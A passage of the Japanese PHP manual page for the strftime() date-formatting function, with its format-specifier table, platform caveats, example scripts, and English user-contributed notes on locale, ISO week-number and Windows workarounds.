%h | 現在のロケールに基づく短縮された月の名前 (%b のエイリアス) | Jan から Dec
%m | 2 桁であらわした月 | 01 (1 月) から 12 (12 月)
年 --- ---
%C | 2 桁であらわした世紀 (年を 100 で割り、整数に丸めたもの) | 20 正規の場合は 19
%g | 2 桁であらわした年。ISO-8601:1988 標準形式 (%V を参照) | 2009 年 1 月 6 日の場合は 09
%G | %g の 4 桁完全版 | 2009 年 1 月 3 日の場合は 2009
%y | 2 桁であらわした年 | 2009 年の場合は 09、1979 年の場合は 79
%Y | 4 桁であらわした年 | 2038
時 --- ---
%H | 2 桁であらわした 24 時間制の時間 | 00 から 23
%k | 24 時間制の時間で、1 桁の場合は先頭にスペースをつけたもの | 0 から 23
%I | 2 桁であらわした 12 時間制の時間 | 01 から 12
%l (小文字の 'L') | 12 時間制の時間で、1 桁の場合は先頭にスペースをつけたもの | 1 から 12
%M | 2 桁であらわした分 | 00 から 59
%p | 指定した時刻に応じた大文字の 'AM' あるいは 'PM' | 00:31 なら AM、22:23 なら PM
%P | 指定した時刻に応じた小文字の 'am' あるいは 'pm' | 00:31 なら am、22:23 なら pm
%r | "%I:%M:%S %p" と同じ | 21:34:17 なら 09:34:17 PM
%R | "%H:%M" と同じ | 12:35 AM なら 00:35、4:44 PM なら 16:44
%S | 2 桁であらわした秒 | 00 から 59
%T | "%H:%M:%S" と同じ | 09:34:17 PM なら 21:34:17
%X | ロケールに基づいた時刻の表現。日付は含まない | 03:59:16 あるいは 15:59:16
%z | タイムゾーンオフセット。Windows では違う実装になっています。詳細は後述します。 | 東海岸時刻なら -0500
%Z | タイムゾーンの略称。Windows では違う実装になっています。詳細は後述します。 | 東海岸時刻なら EST
タイムスタンプ --- ---
%c | 現在のロケールにもとづく日付と時間の表現 | 2009 年 2 月 5 日 午前 12:45:10 なら Tue Feb 5 00:45:10 2009
%D | "%m/%d/%y" と同じ | 2009 年 2 月 5 日なら 02/05/09
%F | "%Y-%m-%d" と同じ (データベースのタイムスタンプとして一般的) | 2009 年 2 月 5 日なら 2009-02-05
%s | Unix エポックからのタイムスタンプ (time() 関数と同じ) | 1979 年 9 月 10 日午前 08:40:00 なら 305815200
%x | 現在のロケールにもとづく日付の表現 (時間は除く) | 2009 年 2 月 5 日なら 02/05/09
その他 --- ---
%n 改行文字 ("\n") ---
%t タブ文字 ("\t") ---
%% パーセント文字 ("%") ---

警告

ISO-9889:1999 に反して、Sun Solaris は日曜日を 1 としています。 そのため、%u はこのマニュアルの説明どおりに機能しないかもしれません。

警告

Windows 限定:

Windows 上では %e に対応していません。 この値が欲しければ、代わりに %#d を使いましょう。 クロスプラットフォーム対応の関数を書く方法をこの後の例で示します。

%z と %Z は、どちらもタイムゾーン名を返します。オフセットや略称は返しません。

警告

macOS 限定: %P 修飾子は macOS 版の実装ではサポートされていません。

timestamp

オプションのパラメータ timestamp は、 int 型の Unix タイムスタンプです。 timestamp が指定されなかったり、null だった場合のデフォルト値は、 現在の時刻です。言い換えると、デフォルトは time() の返り値となります。

返り値

指定した timestamp または timestamp が指定されていない場合に現在のローカル時間を用いて、 指定したフォーマット文字列に基づき文字列をフォーマットして返します。 月および曜日の名前、およびその他の言語依存の文字列は、 setlocale() で設定された現在のロケールを尊重して表示されます。 この関数は、format が空だったり、 サポートされていない変換指定子が含まれていたり、 返される文字列の長さが 4095 より大きい場合は、false を返します。

エラー / 例外

すべての日付/時刻関数は、 有効なタイムゾーンが設定されていない場合に E_NOTICE を発生させます。また、システム設定のタイムゾーンあるいは環境変数 TZ を使用した場合には E_STRICT あるいは E_WARNING を発生させます。 date_default_timezone_set() も参照ください。

出力内容は元となった C ライブラリに依存するため、サポートしていない変換指定子もあります。 Windows では、対応していない変換指定子を渡すと 5 つの E_WARNING メッセージが出て false を返します。 その他のオペレーティングシステムでは特に E_WARNING メッセージは出ず、 変換指定子が (変換されずに) そのまま出力されます。

変更履歴

バージョン | 説明
8.0.0 | timestamp は、nullable になりました。

例

この例は、それぞれのロケールがシステムにインストールされている場合にのみ動作します。

例1 strftime() のロケールの例

<?php
setlocale(LC_TIME, "C");
echo strftime("%A");
setlocale(LC_TIME, "fi_FI");
echo strftime(" in Finnish is %A,");
setlocale(LC_TIME, "fr_FR");
echo strftime(" in French %A and");
setlocale(LC_TIME, "de_DE");
echo strftime(" in German %A.\n");
?>

例2 ISO 8601:1988 の週番号の例

<?php
/*     December 2002 / January 2003
ISOWk  M   Tu  W   Thu F   Sa  Su
----- ----------------------------
51     16  17  18  19  20  21  22
52     23  24  25  26  27  28  29
1      30  31   1   2   3   4   5
2       6   7   8   9  10  11  12
3      13  14  15  16  17  18  19   */

// Outputs: 12/28/2002 - %V,%G,%Y = 52,2002,2002
echo "12/28/2002 - %V,%G,%Y = " . strftime("%V,%G,%Y", strtotime("12/28/2002")) . "\n";

// Outputs: 12/30/2002 - %V,%G,%Y = 1,2003,2002
echo "12/30/2002 - %V,%G,%Y = " . strftime("%V,%G,%Y", strtotime("12/30/2002")) . "\n";

// Outputs: 1/3/2003 - %V,%G,%Y = 1,2003,2003
echo "1/3/2003 - %V,%G,%Y = " . strftime("%V,%G,%Y",strtotime("1/3/2003")) . "\n";

// Outputs: 1/10/2003 - %V,%G,%Y = 2,2003,2003
echo "1/10/2003 - %V,%G,%Y = " . strftime("%V,%G,%Y",strtotime("1/10/2003")) . "\n";

/*     December 2004 / January 2005
ISOWk  M   Tu  W   Thu F   Sa  Su
----- ----------------------------
51     13  14  15  16  17  18  19
52     20  21  22  23  24  25  26
53     27  28  29  30  31   1   2
1       3   4   5   6   7   8   9
2      10  11  12  13  14  15  16   */

// Outputs: 12/23/2004 - %V,%G,%Y = 52,2004,2004
echo "12/23/2004 - %V,%G,%Y = " . strftime("%V,%G,%Y",strtotime("12/23/2004")) . "\n";

// Outputs: 12/31/2004 - %V,%G,%Y = 53,2004,2004
echo "12/31/2004 - %V,%G,%Y = " . strftime("%V,%G,%Y",strtotime("12/31/2004")) . "\n";

// Outputs: 1/2/2005 - %V,%G,%Y = 53,2004,2005
echo "1/2/2005 - %V,%G,%Y = " . strftime("%V,%G,%Y",strtotime("1/2/2005")) . "\n";

// Outputs: 1/3/2005 - %V,%G,%Y = 1,2005,2005
echo "1/3/2005 - %V,%G,%Y = " . strftime("%V,%G,%Y",strtotime("1/3/2005")) . "\n";

?>

例3 %e 修飾子を使う、クロスプラットフォーム対応の例

<?php

// Jan 1: はこのようになります。'%e%1%' (%%, e, %%, %e, %%)
$format = '%%e%%%e%%';

// Windows かどうかをチェックし、%e 修飾子を
// 適切に置換します
if (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN') {
    $format = preg_replace('#(?<!%)((?:%%)*)%e#', '\1%#d', $format);
}

echo strftime($format);
?>

例4 すべての書式の表示

<?php
// 書式についての説明
$strftimeFormats = array(
    'A' => 'A full textual representation of the day',
    'B' => 'Full month name, based on the locale',
    'C' => 'Two digit representation of the century (year divided by 100, truncated to an integer)',
    'D' => 'Same as "%m/%d/%y"',
    'E' => '',
    'F' => 'Same as "%Y-%m-%d"',
    'G' => 'The full four-digit version of %g',
    'H' => 'Two digit representation of the hour in 24-hour format',
    'I' => 'Two digit representation of the hour in 12-hour format',
    'J' => '',
    'K' => '',
    'L' => '',
    'M' => 'Two digit representation of the minute',
    'N' => '',
    'O' => '',
    'P' => 'lower-case "am" or "pm" based on the given time',
    'Q' => '',
    'R' => 'Same as "%H:%M"',
    'S' => 'Two digit representation of the second',
    'T' => 'Same as "%H:%M:%S"',
    'U' => 'Week number of the given year, starting with the first Sunday as the first week',
    'V' => 'ISO-8601:1988 week number of the given year, starting with the first week of the year with at least 4 weekdays, with Monday being the start of the week',
    'W' => 'A numeric representation of the week of the year, starting with the first Monday as the first week',
    'X' => 'Preferred time representation based on locale, without the date',
    'Y' => 'Four digit representation for the year',
    'Z' => 'The time zone offset/abbreviation option NOT given by %z (depends on operating system)',
    'a' => 'An abbreviated textual representation of the day',
    'b' => 'Abbreviated month name, based on the locale',
    'c' => 'Preferred date and time stamp based on local',
    'd' => 'Two-digit day of the month (with leading zeros)',
    'e' => 'Day of the month, with a space preceding single digits',
    'f' => '',
    'g' => 'Two digit representation of the year going by ISO-8601:1988 standards (see %V)',
    'h' => 'Abbreviated month name, based on the locale (an alias of %b)',
    'i' => '',
    'j' => 'Day of the year, 3 digits with leading zeros',
    'k' => 'Hour in 24-hour format, with a space preceding single digits',
    'l' => 'Hour in 12-hour format, with a space preceding single digits',
    'm' => 'Two digit representation of the month',
    'n' => 'A newline character ("\n")',
    'o' => '',
    'p' => 'UPPER-CASE "AM" or "PM" based on the given time',
    'q' => '',
    'r' => 'Same as "%I:%M:%S %p"',
    's' => 'Unix Epoch Time timestamp',
    't' => 'A Tab character ("\t")',
    'u' => 'ISO-8601 numeric representation of the day of the week',
    'v' => '',
    'w' => 'Numeric representation of the day of the week',
    'x' => 'Preferred date representation based on locale, without the time',
    'y' => 'Two digit representation of the year',
    'z' => 'Either the time zone offset from UTC or the abbreviation (depends on operating system)',
    '%' => 'A literal percentage character ("%")',
);

// 結果
$strftimeValues = array();

// 書式を評価してエラーを抑制します
foreach($strftimeFormats as $format => $description){
    if (False !== ($value = @strftime("%{$format}"))){
        $strftimeValues[$format] = $value;
    }
}

// 最長の値を探します
$maxValueLength = 2 + max(array_map('strlen', $strftimeValues));

// 既知の書式を表示します
foreach($strftimeValues as $format => $value){
    echo "Known format   : '{$format}' = ", str_pad("'{$value}'", $maxValueLength), " ( {$strftimeFormats[$format]} )\n";
}

// 未知の書式を表示します
foreach(array_diff_key($strftimeFormats, $strftimeValues) as $format => $description){
    echo "Unknown format : '{$format}'   ", str_pad(' ', $maxValueLength), ($description ? " ( {$description} )" : ''), "\n";
}
?>

上の例の出力は、 たとえば以下のようになります。

Known format   : 'A' = 'Friday'            ( A full textual representation of the day )
Known format   : 'B' = 'December'          ( Full month name, based on the locale )
Known format   : 'H' = '11'                ( Two digit representation of the hour in 24-hour format )
Known format   : 'I' = '11'                ( Two digit representation of the hour in 12-hour format )
Known format   : 'M' = '24'                ( Two digit representation of the minute )
Known format   : 'S' = '44'                ( Two digit representation of the second )
Known format   : 'U' = '48'                ( Week number of the given year, starting with the first Sunday as the first week )
Known format   : 'W' = '48'                ( A numeric representation of the week of the year, starting with the first Monday as the first week )
Known format   : 'X' = '11:24:44'          ( Preferred time representation based on locale, without the date )
Known format   : 'Y' = '2010'              ( Four digit representation for the year )
Known format   : 'Z' = 'GMT Standard Time' ( The time zone offset/abbreviation option NOT given by %z (depends on operating system) )
Known format   : 'a' = 'Fri'               ( An abbreviated textual representation of the day )
Known format   : 'b' = 'Dec'               ( Abbreviated month name, based on the locale )
Known format   : 'c' = '12/03/10 11:24:44' ( Preferred date and time stamp based on local )
Known format   : 'd' = '03'                ( Two-digit day of the month (with leading zeros) )
Known format   : 'j' = '337'               ( Day of the year, 3 digits with leading zeros )
Known format   : 'm' = '12'                ( Two digit representation of the month )
Known format   : 'p' = 'AM'                ( UPPER-CASE "AM" or "PM" based on the given time )
Known format   : 'w' = '5'                 ( Numeric representation of the day of the week )
Known format   : 'x' = '12/03/10'          ( Preferred date representation based on locale, without the time )
Known format   : 'y' = '10'                ( Two digit representation of the year )
Known format   : 'z' = 'GMT Standard Time' ( Either the time zone offset from UTC or the abbreviation (depends on operating system) )
Known format   : '%' = '%'                 ( A literal percentage character ("%") )
Unknown format : 'C'                       ( Two digit representation of the century (year divided by 100, truncated to an integer) )
Unknown format : 'D'                       ( Same as "%m/%d/%y" )
Unknown format : 'E'
Unknown format : 'F'                       ( Same as "%Y-%m-%d" )
Unknown format : 'G'                       ( The full four-digit version of %g )
Unknown format : 'J'
Unknown format : 'K'
Unknown format : 'L'
Unknown format : 'N'
Unknown format : 'O'
Unknown format : 'P'                       ( lower-case "am" or "pm" based on the given time )
Unknown format : 'Q'
Unknown format : 'R'                       ( Same as "%H:%M" )
Unknown format : 'T'                       ( Same as "%H:%M:%S" )
Unknown format : 'V'                       ( ISO-8601:1988 week number of the given year, starting with the first week of the year with at least 4 weekdays, with Monday being the start of the week )
Unknown format : 'e'                       ( Day of the month, with a space preceding single digits )
Unknown format : 'f'
Unknown format : 'g'                       ( Two digit representation of the year going by ISO-8601:1988 standards (see %V) )
Unknown format : 'h'                       ( Abbreviated month name, based on the locale (an alias of %b) )
Unknown format : 'i'
Unknown format : 'k'                       ( Hour in 24-hour format, with a space preceding single digits )
Unknown format : 'l'                       ( Hour in 12-hour format, with a space preceding single digits )
Unknown format : 'n'                       ( A newline character ("\n") )
Unknown format : 'o'
Unknown format : 'q'
Unknown format : 'r'                       ( Same as "%I:%M:%S %p" )
Unknown format : 's'                       ( Unix Epoch Time timestamp )
Unknown format : 't'                       ( A Tab character ("\t") )
Unknown format : 'u'                       ( ISO-8601 numeric representation of the day of the week )
Unknown format : 'v'

注意

注意: ISO 8601:1988 week numbers に基づいている %G と %V は、 もしナンバリングシステムが完全に理解されていなければ 期待とは違う結果をもたらします。 このマニュアルの %V の例を参照ください。

参考

  • » オンラインの strftime() 書式デザインツール
  • setlocale() - ロケール情報を設定する
  • mktime() - 日付を Unix のタイムスタンプとして取得する
  • strptime() - strftime が生成した日付/時刻をパースする
  • gmstrftime() - ロケールの設定に基づいて GMT/UTC 時刻/日付をフォーマットする
  • » Open Group による strftime() の定義

User Contributed Notes

aimendrikonan at gmail dot com 22-Oct-2020 02:48
// To set french date format

public function date_chaine($date){

        if($date==NULL){ $date = date('Y-m-d');}
        setlocale(LC_ALL, 'fr_FR').': ';
        return strftime( "%A %d %B %Y" , strtotime($date));
    }

/*
    return this Mercredi 16 septembre 2020
*/
Anonymous 13-Jan-2019 09:29
If you get wrong characters / encoding, use .utf8 notion after your locale, like this: setlocale(LC_TIME, 'sk_SK.utf8');
emanuelis at gmail 13-Nov-2018 08:26
Linux locales have alt_mon  values for months and php's strftime() has an undocumented format string %OB to get these values.

<?php
setlocale(LC_ALL, "lt_LT.UTF8");

for ($i = 1; $i <= 12; $i++) {
 echo strftime("%B", strtotime("2018-$i-01"))." ";
}
//outputs: sausio vasario kovo baland?io gegu??s bir?elio liepos rugpj??io rugs?jo spalio lapkri?io gruod?io
echo "\n";

for ($i = 1; $i <= 12; $i++) {
 echo strftime("%OB", strtotime("2018-$i-01"))." ";
}
//outputs: sausis vasaris kovas balandis gegu?? bir?elis liepa rugpj?tis rugs?jis spalis lapkritis gruodis

?>
anton at zebooka dot com 17-Feb-2018 05:41
This function outputs incorrect timezone.

PHP 7.1.14 (cli) (built: Feb  2 2018 08:42:59) ( NTS )

We have changed timezone several times in Russia, Novosibirsk:

$ zdump -v /usr/share/zoneinfo/Asia/Novosibirsk | tail -n10
/usr/share/zoneinfo/Asia/Novosibirsk  Sat Oct 30 19:59:59 2010 UTC = Sun Oct 31 02:59:59 2010 +07 isdst=1
/usr/share/zoneinfo/Asia/Novosibirsk  Sat Oct 30 20:00:00 2010 UTC = Sun Oct 31 02:00:00 2010 +06 isdst=0
/usr/share/zoneinfo/Asia/Novosibirsk  Sat Mar 26 19:59:59 2011 UTC = Sun Mar 27 01:59:59 2011 +06 isdst=0
/usr/share/zoneinfo/Asia/Novosibirsk  Sat Mar 26 20:00:00 2011 UTC = Sun Mar 27 03:00:00 2011 +07 isdst=0
/usr/share/zoneinfo/Asia/Novosibirsk  Sat Oct 25 18:59:59 2014 UTC = Sun Oct 26 01:59:59 2014 +07 isdst=0
/usr/share/zoneinfo/Asia/Novosibirsk  Sat Oct 25 19:00:00 2014 UTC = Sun Oct 26 01:00:00 2014 +06 isdst=0
/usr/share/zoneinfo/Asia/Novosibirsk  Sat Jul 23 19:59:59 2016 UTC = Sun Jul 24 01:59:59 2016 +06 isdst=0
/usr/share/zoneinfo/Asia/Novosibirsk  Sat Jul 23 20:00:00 2016 UTC = Sun Jul 24 03:00:00 2016 +07 isdst=0
/usr/share/zoneinfo/Asia/Novosibirsk  Mon Jan 18 03:14:07 2038 UTC = Mon Jan 18 10:14:07 2038 +07 isdst=0

Incorrect:

php > echo strftime('%Y-%m-%d %H:%M:%S %z', strtotime("2015-11-15"));
2015-11-15 00:00:00 +0700

Correct:
php > echo date('Y-m-d H:i:s O', strtotime("2015-11-15"));
2015-11-15 00:00:00 +0600
Marc17 07-Nov-2017 04:37
For Windows : this function return the ISO 8601 week number of timestamp.

function week_number_ISO8601($ts_date=0) {
    //See https://fr.wikipedia.org/wiki/ISO_8601#Num.C3.A9ro_de_semaine
    if ($ts_date==0) $ts_date=time();
    $n_w_th_ts_date=strftime('%w',$ts_date);
    $ts_thursday=($n_w_th_ts_date==0)?($ts_date-3*24*3600):($ts_date-($n_w_th_ts_date-4)*24*3600);
    $n_ts_thursday=strftime('%j',$ts_thursday);
    $w_n_iso=1+(int)(($n_ts_thursday-1)/7);
    return sprintf("%02d",$w_n_iso);
}
aaronw at catalyst dot net dot nz 03-Aug-2017 10:46
The page mentions that the available conversion specifiers may be different in "Windows, some Linux distributions, and a few other operating systems".

Specifically, the list of specifiers on this page is basically those from standard GNU/Linux (but without %E, %O, and %+), which is a combination of specifiers from a few different standards. See: http://man7.org/linux/man-pages/man3/strftime.3.html

This means that, if you're not using Linux, or your Linux distro has a different C library than glibc, there *will* probably be at least a few differences in the supported specifiers. Windows has the most differences, but I've also encountered differences in Alpine Linux (which uses musl intsead of glibc) and BSD.
dosergio at gmail dot com 04-Dec-2016 09:57
/*
     Date localized. (date + lo) = datelo
     @param $str = date string format
     @param optional $locale = desired locale, depends on presence in system. Defaults to en_US
     @param optional $time = If needs a specific time, and not current.

     @returns localized translation.

     usage example:  datelo( 'd-M-Y', 'pt_BR') internally changes to '%e-%b-%G' and returns "4-Dez-2016"  (Dezembro is Portuguese word)

    NOTE: Flags prohibited in this version:  "z" and "n", will cause to return the 'date' function version, with no translation!
 */

function datelo( $str, $locale='en_US', $time=null){

  if( $time === null){  $time = time(); }

  if ( preg_match("/[DlFM]/", $str) && ! preg_match("/[nz]/",  $str)){
    setlocale(LC_ALL, $locale);
    $dict = array();
    $dict['d'] = '%d';
    $dict['D'] = '%a';
    $dict['j'] = '%e';
    $dict['l'] = '%A';
    $dict['N'] = '%u';
    $dict['w'] = '%w';
    $dict['F'] = '%B';
    $dict['m'] = '%m';
    $dict['M'] = '%b';
    $dict['Y'] = '%G';
    $dict['g'] = '%l';
    $dict['G'] = '%k';
    $dict['h'] = '%I';
    $dict['H'] = '%H';
    $dict['i'] = '%M';
    $dict['s'] = '%S';
    $dict['S'] = ' '; //removes English sufixes th rd etc.
    $dict[' '] = ' ';
    $dict['-'] = '-';
    $dict['/'] = '/';
    $dict[':'] = ':';
    $dict[','] = ',';

    $chars = preg_split("//", $str);
    $nstr = '';

    foreach ($chars as $c){
      if ($c){ //skip empties
         $nstr .= $dict[$c];
      }
    }

    return strftime( $nstr);

  }else{ // not localized

    return date( $str, $time);

  }
}
chris at ocproducts dot com 04-Jul-2016 10:19
Displaying hours in 12 hour clock...

%I = Cross-platform, padded with leading zero
%-I = Not on Windows, no padding
%#I = Windows only, no padding

Linux and MacOS confirmed to behave the same.
chris at ocproducts dot com 04-Jul-2016 10:09
Displaying days of month...

%d = Cross-platform, padded with leading zero
%e = Not on Windows, padded with leading space
%-d = Not on Windows, no padding
%#d = Windows only, no padding

Linux and MacOS confirmed to behave the same.
raf at sns dot pm 01-Jan-2016 07:15
For all those who work with WampServer on Windows,
I propose you a formatting(layout) of date as " Friday, January 1st, 2016 " instead of " Friday, January 01st, 2016 " (note the zero in front of 1) which works at the same time on Windows / WampServer and on (on-line) Linux / waiter.
There are problems with "%e" - > which(who) works on Linux and not on Windows - > "%#d" (this works on windows/wampserver)
I simply made a condition:
<?php
if ($_SERVER['SERVER_NAME'] == "website.com") // On line
{
   $number_of_the_day= "%e"; // Number of the day without "0"
}
else
{
   $number_of_the_day = "%#d";  // The same on Windows/Wampserver
}

setlocale(LC_TIME, 'fr_FR.utf8','fra'); // I'm french !

// i use this fonction ucfirst('string') for "V" Maj. and "J" Maj.

echo ucfirst(strftime('%A '.$number_of_the_day.' %B %Y'));

//  "Vendredi 1 Janvier 2016"  (->  without "0")
?>
Here we are, I hope to have helped.
lichihwu at gmail dot com 22-Jan-2015 04:09
strftime() will get local time using timezone setting from date_default_timezone_set, then send format and converted tm structure to strftime() system call.

So it will output time stamp string ("%s" format string) with timezone converted tm structure, and it will be wrong unless you set  the same time zone with your machine.
denis at ibresource dot ru 26-Aug-2014 06:01
%p and %P replaced to '' in ru and other locales so 20:10 in %I:%M %p will be 08:10 in russian (without pm)
eric dot brison at anakeen dot com 04-Mar-2014 12:55
strftime not format microsecond (decimal part of seconds).
This function add '%f' key in format to render microsecond (6 digits) also.

<?php
/**
 * @param string $format strftime format
 * @param float $microtime time with microsecond
 * @return string
 */
function strftimeu($format, $microtime)
{
    if (preg_match('/^[0-9]*\\.([0-9]+)$/', $microtime, $reg)) {
        $decimal = substr(str_pad($reg[1], 6, "0"), 0, 6);
    } else {
        $decimal = "000000";
    }
    $format = preg_replace('/(%f)/', $decimal, $format);
    return strftime($format, $microtime);
}
?>

Example :
<?php
$now=microtime(true);
printf("REF:%s\n",$now );
printf("FMT:%s\n", strftimeu('%H:%M:%S.%f', $now));
?>

Results are :
REF:1393937303.6615
FMT:13:48:23.661500
FMT:13h 48min 23s 661500μs

Note : Here the decimal part of microtime is on 4 digits due to default precision
alexbrtn@gmail dot com 14-Feb-2014 07:16
{--}, it is replaced on "today" or "yesterday"
Uwe at Familie-Loyal dot de 20-Apr-2013 07:02
more fixed Problems while uing strftime in win32-systems.

        function strftime_win32($format, $ts = null) {
                if (!$ts) $ts = time();

                $mapping = array(
                                '%C' => sprintf("%02d", date("Y", $ts) / 100),
                                '%D' => '%m/%d/%y',
                                '%e' => sprintf("%' 2d", date("j", $ts)),
                                '%h' => '%b',
                                '%n' => "\n",
                                '%r' => date("h:i:s", $ts) . " %p",
                                '%R' => date("H:i", $ts),
                                '%t' => "\t",
                                '%T' => '%H:%M:%S',
                                '%u' => ($w = date("w", $ts)) ? $w : 7
                );
                $format = str_replace(
                                array_keys($mapping),
                                array_values($mapping),
                                $format
                );

                if($format=='%V' or $format=='%G' or $format=='%g'){
                        // When strftime("%V") fails, some unoptimized workaround
                        //
                        // http://en.wikipedia.org/wiki/ISO_8601 : week 1 is "the week with the year's first Thursday in it (the formal ISO definition)"

                        $year = strftime("%Y", $ts);
                        $isoyear=$year;

                        $first_day = strftime("%w", mktime(0, 0, 0, 1, 1, $year));
                        $last_day = strftime("%w", mktime(0, 0, 0, 12, 31, $year));

                        $number = $isonumber = strftime("%W", $ts);

                        // According to strftime("%W"), 1st of january is in week 1 if and only if it is a monday
                        if ($first_day == 1) {
                                $isonumber--;
                        }

                        // 1st of january is between monday and thursday; starting (now) at 0 when it should be 1
                        if ($first_day >= 1 && $first_day <= 4){
                                $isonumber++;
                                $isoyear=$year;
                        }elseif ($number == 0){
                                $isonumber = mktime(0, 0, 0, 12, 31, $year - 1);
                                $isoyear=$year;
                        }
                        if ($isonumber == 53 && ($last_day == 1 || $last_day == 2 || $last_day == 3)){
                                $isonumber = 1;
                                $isoyear=$year+1;
                        }
                        if ($format=='%V') {
                                return sprintf("%02d", $isonumber);
                        }elseif ($format=='%G'){
                                return sprintf("%04d", $isoyear);
                        }elseif ($format=='%g'){
                                return substr(sprintf("%04d", $isoyear),-2);
                        }

                }else{
                        return strftime($format, $ts);
                }
        }
Chris 12-Aug-2011 01:37
Sometimes, you want Jan 1 to be week 1 and weeks to begin on Sunday. Here's a way to use strftime U format character to follow this convention:
<?php
$month = 5; $year = 2012; echo "Week #'s in May 2012: ";
$week_num_correction = strftime('%U', mktime(0,0,0,1,1,$year)) === '00' ? 1 : 0;
$week_numbers = range(strftime('%U', mktime(0,0,0,$month,1,$year)) + $week_num_correction, strftime('%U', mktime(0,0,0,$month+1,0,$year)) + $week_num_correction);
foreach($week_numbers as $week_number) echo "$week_number ";
?>
displays: Week #'s in May 2012: 18 19 20 21 22
fmaz008 at gmail dot com 09-Aug-2011 12:50
The example of the workarround for the %e modifier is a bit complex. Sometime you might want to prefer a simple ltrim():

<?php
ltrim(strftime('%d', $time), '0');
?>
dgudgeon at example dot com 14-Jul-2011 05:04
If moving from date() to strftime() to support additional languages, you may miss the ordinal suffix format option date('S'). Workaround this by adding an extra modifier (%O).

<?php
function my_strftime ($format, $timestamp)
{
    $format = str_replace('%O', date('S', $timestamp), $format);
    return strftime($format, $timestamp);
}
?>
Bondas Timotei 19-May-2011 04:41
If strange characters are returned use utf8_encode(strftime()) for UTF-8 characters
ciprianmp at yahoo dot com 13-Feb-2011 01:04
This worked for me to distinguish between windows and linux, for stripping leading zeros from days/months in the short formats (like for Czech):
stristr(PHP_OS,"win") ? "%#d.%#m.%Y" : "%-d.%-m.%Y"
Anonymous 12-Oct-2010 12:04
%V may fail with some systems (Windows XP, at least). Here is a function that should work to get the week number of a day (timestamped), according to ISO 8601.

"should work" as in "it is working with my understanding of this norm", where 1st of january can be week 52, 53 or 01. Hopefully.

testing (php_uname("s") == "Windows NT") or equivalent can be an option (when switching between Wampserver and a GNU server, for instance).

Please, erase and correct my message if there is any error.

<?php
function week_isonumber ($time) {
// When strftime("%V") fails, some unoptimized workaround
//
// http://en.wikipedia.org/wiki/ISO_8601 : week 1 is "the week with the year's first Thursday in it (the formal ISO definition)"

    $year = strftime("%Y", $time);

    $first_day = strftime("%w", mktime(0, 0, 0, 1, 1, $year));
    $last_day = strftime("%w", mktime(0, 0, 0, 12, 31, $year));

    $number = $isonumber = strftime("%W", $time);

    // According to strftime("%W"), 1st of january is in week 1 if and only if it is a monday
    if ($first_day == 1)
        $isonumber--;

    // 1st of january is between monday and thursday; starting (now) at 0 when it should be 1
    if ($first_day >= 1 && $first_day <= 4)
        $isonumber++;
    else if ($number == 0)
        $isonumber = week_isonumber(mktime(0, 0, 0, 12, 31, $year - 1));

    if ($isonumber == 53 && ($last_day == 1 || $last_day == 2 || $last_day == 3))
        $isonumber = 1;

    return sprintf("%02d", $isonumber);
}
?>
Lemmi 09-Jun-2010 05:57
Why not use utf8_encode to fix problems with letters in ISO-8859-1 and charset set to UTF-8?

For example:
<?php

setlocale(LC_TIME, "de_DE");
echo utf8_encode(strftime('%B')); // Output e.g.: Marz

?>
baptiste dot place at utopiaweb dot fr 26-Feb-2010 04:54
Created this small method to convert a date format to a strftime format. One format is enough to learn :)

<?php
/**
 * Convert a date format to a strftime format
 *
 * Timezone conversion is done for unix. Windows users must exchange %z and %Z.
 *
 * Unsupported date formats : S, n, t, L, B, G, u, e, I, P, Z, c, r
 * Unsupported strftime formats : %U, %W, %C, %g, %r, %R, %T, %X, %c, %D, %F, %x
 *
 * @param string $dateFormat a date format
 * @return string
 */
public static function dateFormatToStrftime($dateFormat) {

    $caracs = array(
        // Day - no strf eq : S
        'd' => '%d', 'D' => '%a', 'j' => '%e', 'l' => '%A', 'N' => '%u', 'w' => '%w', 'z' => '%j',
        // Week - no date eq : %U, %W
        'W' => '%V',
        // Month - no strf eq : n, t
        'F' => '%B', 'm' => '%m', 'M' => '%b',
        // Year - no strf eq : L; no date eq : %C, %g
        'o' => '%G', 'Y' => '%Y', 'y' => '%y',
        // Time - no strf eq : B, G, u; no date eq : %r, %R, %T, %X
        'a' => '%P', 'A' => '%p', 'g' => '%l', 'h' => '%I', 'H' => '%H', 'i' => '%M', 's' => '%S',
        // Timezone - no strf eq : e, I, P, Z
        'O' => '%z', 'T' => '%Z',
        // Full Date / Time - no strf eq : c, r; no date eq : %c, %D, %F, %x
        'U' => '%s'
    );

    return strtr((string)$dateFormat, $caracs);
}
?>

I use it with this condition on a date format :
if(preg_match("/(D|l|F|M)/", $format))
Chad 11-Nov-2009 05:50
On the Linux server I'm using, strftime() also accepts a "-" option to request no padding:

<?php
$ts = strtotime("4 Nov 2009");
echo strlen(strftime("%-e", $ts)), "\n"; // "1" (no padding)
echo strlen(strftime("%e", $ts)), "\n"; // "2" (space padded)
?>
szilagyigabor at yahoo dot com 02-Nov-2009 11:43
This is that worked with UTF-8 encoding on Linux server, with right accents:
<?php
setlocale(LC_ALL, 'hu_HU.UTF8');
echo(strftime('%Y. %B %d. %A'));
?>

Output is:
2009. november 02. hetf?

Also, this one can be used, if not utf-8 preferred:
<?php
setlocale(LC_ALL, 'hu_HU.ISO8859-2');
?>

UTF-8 is not supported on windows platforms, so there the iconv workaround must be used:
<?php
setlocale(LC_ALL, 'hun_hun');
echo(iconv('ISO-8859-2', 'UTF-8',strftime('%Y. %B %d. %A')));
?>

The output is the same as before. Note that, the iconv first parameter is ISO-8859-2 not ISO-8859-1, because the locale is hungarian which uses 8859-2 codepage as default. It is needed for the right accents.

If you want use the same code for Windows and Linux platforms, the second one is the right option (the iconv trick), but the locale configuration must be different (Linux: hu_HU, windows: hun_hun), but in that case the UTF8 tag is not needed for the Linux config.
jjarsater at gmail dot com 20-May-2009 07:01
<?php
// Date string
$timestamp     =     strftime("%Y-%m-%d %H:%M:%S %Y");

// From this string ($timestamp) can we print
echo strftime("%a %d %b %H:%M:%S %Y", strtotime($timestamp))."<br/>";
echo strftime("%a %d %b %H:%M", strtotime($timestamp))."<br/>";
echo strftime("%Y-%m-%d %H:%M:%S", strtotime($timestamp))."<br/>";
echo strftime("%Y-%m-%d %H:%M", strtotime($timestamp))."<br/>";
echo strftime("%Y-%m-%d", strtotime($timestamp))."<br/>";
echo strftime("%a %d %b %Y", strtotime($timestamp))."<br/>";

/*And it will output

Wed 20 May 15:53:40 2009
Wed 20 May 15:53
2009-05-20 15:53:40
2009-05-20 15:53
2009-05-20
Wed 20 May 2009

*/
?>
Michael Z. 18-May-2009 03:12
